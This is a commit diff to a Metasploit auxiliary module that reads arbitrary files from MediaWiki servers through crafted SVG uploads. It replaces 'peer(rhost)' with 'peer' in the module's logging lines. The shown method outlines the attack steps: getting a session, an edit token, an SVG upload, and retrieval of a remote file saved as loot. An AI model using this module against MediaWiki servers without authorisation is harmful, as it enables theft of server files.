Land rapid7#3548, peer rhost fix

Author: wvu

modules/auxiliary/scanner/http/mediawiki_svg_fileaccess.rb

@@ -218,58 +218,58 @@ def read_data
   end
 
   def accessfile(rhost)
-    vprint_status("#{peer(rhost)} MediaWiki - Getting unauthenticated session...")
+    vprint_status("#{peer} MediaWiki - Getting unauthenticated session...")
     @wiki_session_name, @wiki_session = get_first_session
     if @wiki_session.nil?
-      print_error("#{peer(rhost)} MediaWiki - Failed to get unauthenticated session...")
+      print_error("#{peer} MediaWiki - Failed to get unauthenticated session...")
       return
     end
-    vprint_status("#{peer(rhost)} Sessioncookie: #{@wiki_session_name}=#{@wiki_session}")
+    vprint_status("#{peer} Sessioncookie: #{@wiki_session_name}=#{@wiki_session}")
 
     if @user and not @user.empty? and @password and not @password.empty?
-      vprint_status("#{peer(rhost)} MediaWiki - Getting login token...")
+      vprint_status("#{peer} MediaWiki - Getting login token...")
       @login_token = get_login_token
       if @login_token.nil?
-        print_error("#{peer(rhost)} MediaWiki - Failed to get login token")
+        print_error("#{peer} MediaWiki - Failed to get login token")
         return
       end
-      vprint_status("#{peer(rhost)} Logintoken: #{@login_token}")
+      vprint_status("#{peer} Logintoken: #{@login_token}")
 
       if not authenticate
-        print_error("#{peer(rhost)} MediaWiki - Failed to authenticate")
+        print_error("#{peer} MediaWiki - Failed to authenticate")
         return
       end
-      vprint_status("#{peer(rhost)} Userid cookie: #{@wiki_user_id_name}=#{@wiki_user_id}")
-      vprint_status("#{peer(rhost)} Username cookie: #{@wiki_user_name_name}=#{@wiki_user_name}")
-      vprint_status("#{peer(rhost)} Session cookie: #{@wiki_session_name}=#{@wiki_session}")
+      vprint_status("#{peer} Userid cookie: #{@wiki_user_id_name}=#{@wiki_user_id}")
+      vprint_status("#{peer} Username cookie: #{@wiki_user_name_name}=#{@wiki_user_name}")
+      vprint_status("#{peer} Session cookie: #{@wiki_session_name}=#{@wiki_session}")
     end
 
-    vprint_status("#{peer(rhost)} MediaWiki - Getting edit token...")
+    vprint_status("#{peer} MediaWiki - Getting edit token...")
     @edit_token = get_edit_token
     if @edit_token.nil?
-      print_error("#{peer(rhost)} MediaWiki - Failed to get edit token")
+      print_error("#{peer} MediaWiki - Failed to get edit token")
       return
     end
-    vprint_status("#{peer(rhost)} Edittoken: #{@edit_token}")
+    vprint_status("#{peer} Edittoken: #{@edit_token}")
 
-    vprint_status("#{peer(rhost)} MediaWiki - Uploading SVG file...")
+    vprint_status("#{peer} MediaWiki - Uploading SVG file...")
     @svg_uri = upload_file
     if @svg_uri.nil?
-      print_error("#{peer(rhost)} MediaWiki - Failed to upload SVG file")
+      print_error("#{peer} MediaWiki - Failed to upload SVG file")
       return
     end
-    vprint_status("#{peer(rhost)} SVG URI: #{@svg_uri}")
+    vprint_status("#{peer} SVG URI: #{@svg_uri}")
 
-    vprint_status("#{peer(rhost)} MediaWiki - Retrieving remote file...")
+    vprint_status("#{peer} MediaWiki - Retrieving remote file...")
     loot = read_data
     if loot.nil? or loot.empty?
-      print_error("#{peer(rhost)} MediaWiki - Failed to retrieve remote file")
+      print_error("#{peer} MediaWiki - Failed to retrieve remote file")
       return
     end
 
     f = ::File.basename(datastore['RFILE'])
     path = store_loot('mediawiki.file', 'application/octet-stream', rhost, loot, f, datastore['RFILE'])
-    print_status("#{peer(rhost)} MediaWiki - #{datastore['RFILE']} saved in #{path}")
+    print_status("#{peer} MediaWiki - #{datastore['RFILE']} saved in #{path}")
   end
 
   def run